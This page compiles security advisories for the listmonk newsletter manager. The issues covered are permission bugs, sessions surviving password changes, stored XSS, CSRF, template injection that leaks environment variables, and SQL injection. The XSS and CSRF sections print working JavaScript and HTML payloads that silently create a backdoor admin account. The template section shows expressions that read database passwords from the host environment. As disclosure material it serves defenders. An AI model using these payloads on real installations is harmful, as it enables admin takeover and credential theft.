See how nadh compares to other vendors in security performance
listmonk is a standalone, self-hosted, newsletter and mailing list manager. From version 4.1.0 to before version 6.1.0, bugs in list permission checks allows users in a multi-user environment to access to lists (which they don't have access to) under different scenarios. This only affects multi-user environments with untrusted users. This issue has been patched in version 6.1.0.
Summary A session management vulnerability allows previously issued authenticated sessions to remain valid after sensitive account security changes, specifically password reset and password change. As a result, an attacker who has already obtained a valid session cookie can retain access to the account even after the victim changes or resets their password.
This weakens account recovery and session security guarantees. I reproduced the issue on listmonk v6.0.0.
Details The application updates account credentials successfully, but existing active sessions are not revoked afterward.
This behavior was confirmed in two flows:
1. Password reset flow - A user resets their password through the forgot/reset flow. - The old password becomes invalid. - The new password works. - However, a session cookie issued before the reset remains valid and continues to authenticate successfully.
2. Authenticated password change flow - The same user logs in from two separate sessions. - Using session A, the password is changed through the authenticated profile endpoint. - The old password becomes invalid. - The new password works. - However, session B, issued before the password change, remains valid and continues to authenticate successfully.
From the source review, the reset flow consumes the reset token, updates the password, and creates a fresh session, but there does not appear to be any revocation of older sessions. The same applies to the profile password change flow.
Relevant code areas observed during review: - cmd/auth.go — forgot/reset flow - cmd/users.go — authenticated profile update flow - internal/core/users.go — password update path
Additionally: - It was verified that reset links are single-use. - It was verified that password reset on a TOTP-enabled account still enforces TOTP on fresh login. - However, already-issued sessions still remain valid after reset.
PoC Case 1: Password reset does not revoke existing session
1. Create or use a normal user account. 2. Log in as that user and save the authenticated session cookie. 3. Trigger forgot-password for the account. 4. Use the emailed reset link and set a new password. 5. Verify: - the old password no longer works - the new password works 6. Replay the old pre-reset session cookie against an authenticated endpoint such as /api/profile.
Example validation request: http GET /api/profile HTTP/1.1 Host: 127.0.0.1:9000 Cookie: session=<oldpreresetsession>
Observed result:
Server returns HTTP/1.1 200 OK Response contains the authenticated user profile
Case 2: Password change does not revoke other active sessions
1. Log in twice as the same user and save two authenticated session cookies: - session A - session B
2. Using session A, change the password through the authenticated profile update endpoint.
3. Verify: - the old password no longer works - the new password works
4. Replay session B against an authenticated endpoint such as /api/profile.
Example password change request: http PUT /api/profile HTTP/1.1 Host: 127.0.0.1:9000 Cookie: session=<sessionA> Content-Type: application/json
{ "name":"victim1", "email":"victim1@test.local", "password":"VictimChanged123" }
Then validate session B: http GET /api/profile HTTP/1.1 Host: 127.0.0.1:9000 Cookie: session=<sessionB>
Observed result: - Server returns HTTP/1.1 200 OK - Response contains the authenticated user profile
Impact
This issue allows persistence of unauthorized access after credential recovery actions.
If an attacker has already stolen a valid session cookie through any means (for example malware, browser compromise, XSS, shared machine access, proxy leakage, or other session theft), the victim cannot fully recover the account by changing or resetting the password alone. The attacker’s existing session remains valid.
This impacts account recovery expectations and session security for all authenticated users, including users with TOTP enabled.
Attachment listmonk-session-report.zip
Security Advisory: Stored XSS Leading to Admin Account Takeover
Affected Versions: ≤ 5.1.0 Vulnerability Type: CWE-79: Stored Cross-Site Scripting
---
Summary
A lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts.
The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required.
---
Required Attacker Permissions
campaigns:manage - Create/edit campaigns campaigns:get - View campaigns lists:getall - Access lists templates:get - Access templates
Note: These are common permissions for content managers who are not full admins.
---
Attack Vectors
Vector 1: Raw HTML (Direct Script Tag)
html <script> fetch('/api/users', { method: 'POST', headers: {'Content-Type': 'application/json'}, credentials: 'include', body: '{"username":"backdoor","email":"backdoor@evil.com","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"userroleid":1}' }); </script>
Vector 2: Go Template Safe Function
{{ <script>fetch('/api/users',{method:'POST',headers:{'Content-Type':'application/json'},credentials:'include',body:'{"username":"backdoor","email":"backdoor@evil.com","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"userroleid":1}'});</script> | Safe }}
---
Attack Scenarios
Scenario 1: Campaign Preview Attack
1. Attacker creates campaign with XSS payload 2. Request is made to super admin: "Please review my newsletter draft" 3. Super admin opens campaign and clicks Preview 4. XSS executes → Backdoor admin account created 5. Attacker logs in with backdoor / Hacked123
Scenario 2: Archive Link Attack (No Click Required)
1. Attacker creates campaign with XSS payload 2. Attacker enables Archive for the campaign 3. Attacker shares archive link: http://localhost:9000/archive/{uuid} 4. Super admin visits the link (no preview click needed!) 5. XSS executes automatically → Account takeover
---
Proof of Concept
Step 1: Create Malicious Campaign
As lower-privileged user, create campaign with body: html <script> fetch('/api/users', { method: 'POST', headers: {'Content-Type': 'application/json'}, credentials: 'include', body: JSON.stringify({ username: 'backdoor', email: 'backdoor@evil.com', name: 'Backdoor Admin', password: 'Hacked123', type: 'user', status: 'enabled', userRoleId: 1, userroleid: 1 }) }); </script>
Step 2: Enable Archive (Optional - for link-based attack)
1. Edit campaign settings 2. Enable "Archive" 3. Copy archive URL: http://localhost:9000/archive/{campaign-uuid}
Step 3: Trigger Execution
Option A - Preview: - Send campaign to super admin for "review" - Super admin previews → XSS fires
Option B - Archive Link: - Share archive URL with super admin - Super admin visits link → XSS fires automatically
Step 4: Verify Takeover
bash Login as backdoor admin curl -X POST "http://localhost:9000/admin/login" \ -d "username=backdoor&password=Hacked123" \ -c cookies.txt -L
Verify super admin access curl -b cookies.txt "http://localhost:9000/api/users"
---
Evidence Screenshots
[Screenshot 1: Lower-privileged user creating malicious campaign] <img width="1892" height="781" alt="Screenshot 2025-12-27 170259" src="https://github.com/user-attachments/assets/b9af26bf-0c5b-4667-ba9a-eea774156d0b" />
[Screenshot 2: Super admin previewing campaign] <img width="1686" height="709" alt="image" src="https://github.com/user-attachments/assets/4ca3d5ff-0cd9-4f22-bca0-e26e13c6b1c7" />
[Screenshot 3: Backdoor user successfully created] <img width="1370" height="469" alt="Screenshot 2025-12-27 170413" src="https://github.com/user-attachments/assets/18135128-f5af-4023-9aa7-8662a1405ed2" />
---
Impact
| Action | Possible via XSS | |--------|-----------------| | Create backdoor admin | ✅ Yes | | Export all subscribers | ✅ Yes | | Modify SMTP settings | ✅ Yes | | Delete all campaigns | ✅ Yes | | Access API keys/secrets | ✅ Yes |
---
Affected Components
| Component | XSS Works? | Method | |-----------|-----------|--------| | Campaign body (Raw HTML) | ✅ Yes | Direct <script> tag | | Campaign body (Template) | ✅ Yes | {{ \ \ \| Safe }} | | Template body | ✅ Yes | Both methods | | Campaign archive | ✅ Yes | Automatic execution on visit |
---
Summary
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.
Details
During a security evaluation of the webapp, every http request in addition to the session cookie session there included nonce. The value is not checked and validated by the backend, removing nonce allows the requests to be processed correctly.
This may seem harmless, but if chained to other vulnerabilities it can become a critical vulnerability.
Example HTTP request without nonce : <img width="1418" height="772" alt="usercreationwithoutnonceburprequest" src="https://github.com/user-attachments/assets/a5026cdd-d360-4919-ae66-29856c3d3f32" />
PoC
Let's look at a “chain” case of vulnerabilities that include the CSRF and XSS.
An admin (or any user with permissions) can create templates and preview them (POST /api/templates/preview ) making it possible to execute javascript code. For example:
<img width="1912" height="935" alt="browsertemplateeditorwithalert" src="https://github.com/user-attachments/assets/a928a4bd-1e5f-4fbe-af08-196362e271ad" />
And this request can also be made without nonce.
<img width="1883" height="707" alt="templatepreviewburprequestwithoutnonce" src="https://github.com/user-attachments/assets/202c6a39-b62f-48c1-becb-688c3325dc41" />
Then an attacker can exploit this lack of validation to trigger an XSS in the victim's browser (let's assume the admin).
This is possible for 2 reasons : 1) There is no validation of the nonce (as mentioned above) 2) The session cookie has no samesite flag
<img width="1557" height="593" alt="nosamesiteresponsecookieburp" src="https://github.com/user-attachments/assets/c3fab6ac-5068-44cd-850a-bd095c10cb77" />
As we can see from the image above, no samesite cookie policy is set during login, so the browser will use the default one. Some browsers by default set Lax (Chrome), but many others use None (Firefox, Edge).
For example, we can host this html page to prompt the admin to make a post request
html <html> <!-- CSRF PoC --> <body> <form action="https://10.100.132.47/api/templates/preview" method="POST"> <input type="hidden" name="template_type" value="campaign" /> <input type="hidden" name="body" value="{{ template "content" . }} <script>alert()</script>" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
The CSRF+XSS PoC written above has been tested on 3 browsers (using their latest versions) - Chrome ❌ - Firefox ✅ - Edge ✅
Example in Firefox :
!xssmozillapoc
We can now replace the simple alert() with any “harmful” request. For example, the creation of a new admin account: <img width="1226" height="925" alt="browsertemplateeditorwithfinalpayload" src="https://github.com/user-attachments/assets/a5a79c50-45f4-4a9c-80a5-683803349d1a" />
html <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true); xhr.setRequestHeader("Content-Type", "application\/json"); xhr.withCredentials = true; var body = "{\"username\":\"testuser4\",\"email\":\"test3@test.com\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"passwordlogin\":true,\"userroleid\":1,\"listroleid\":null}"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } submitRequest(); </script>
The final poc that exploits CSRF + XSS, allowing admin account creation:
html
<html> <!-- CSRF PoC --> <body> <form action="https://10.100.132.47/api/templates/preview" method="POST"> <input type="hidden" name="template_type" value="campaign" /> <input type="hidden" name="body" value="{{ template "content" . }}     <script>       function submitRequest()       {         var xhr = new XMLHttpRequest();         xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true);         xhr.setRequestHeader("Content-Type", "application\/json");         xhr.withCredentials = true;         var body = "{\"username\":\"testuser4\",\"email\":\"test3@test.com\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"password_login\":true,\"user_role_id\":1,\"list_role_id\":null}";         var aBody = new Uint8Array(body.length);         for (var i = 0; i < aBody.length; i++)           aBody[i] = body.charCodeAt(i);          xhr.send(new Blob([aBody]));       }       submitRequest();     </script>" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
Impact Admin account creation
Summary The env and expandenv template functions which is enabled by default in Sprig enables capturing of env variables on the host. While this may not be a problem on single-user (super admin) installations, on multi-user installations, this allows non-super-admin users with campaign or template permissions to use the {{ env }} template expression to capture sensitive environment variables.
Upgrade to v5.0.2 to mitigate.
---------
Demonstration
Description A critical template injection vulnerability exists in Listmonk's campaign preview functionality that allows authenticated users with minimal privileges (campaigns:get & campaigns:getall) to extract sensitive system data, including database credentials, SMTP passwords, and admin credentials due to some dangerous function being allowed.
Proof of Concept
- Create a user and give him campaigns:get and campaigns:getall privileges
!image
- Now login with that user, go to any campaign, go the Content section and here lies the vulnerability, we're able to execute template content which allows us to get environment variables, execute Sprig functions...
- Now in the text field you can input the following and press Preview: {{ env "AWSKEY" }} {{ env "LISTMONKdbuser" }} {{ env "LISTMONKdbpassword" }}
!image
Preview:
!image
I had the AWSKEY variable set like that to confirm the vulnerability:
!image
Impact
- Through these environment variables the attacker can access, they can fully compromise the database, cloud accounts, admin credentials, and more depending on what was setup leading to total system takeover and data breach.
Suggested Fix
- Blacklist some function for templates like env, expandEnv and fail as they can be used to leak environment variables which leads to a full takeover.
Listmonk v4.1.0 (fixed in v5.0.0) is vulnerable to SQL Injection in the QuerySubscribers function which allows attackers to escalate privileges.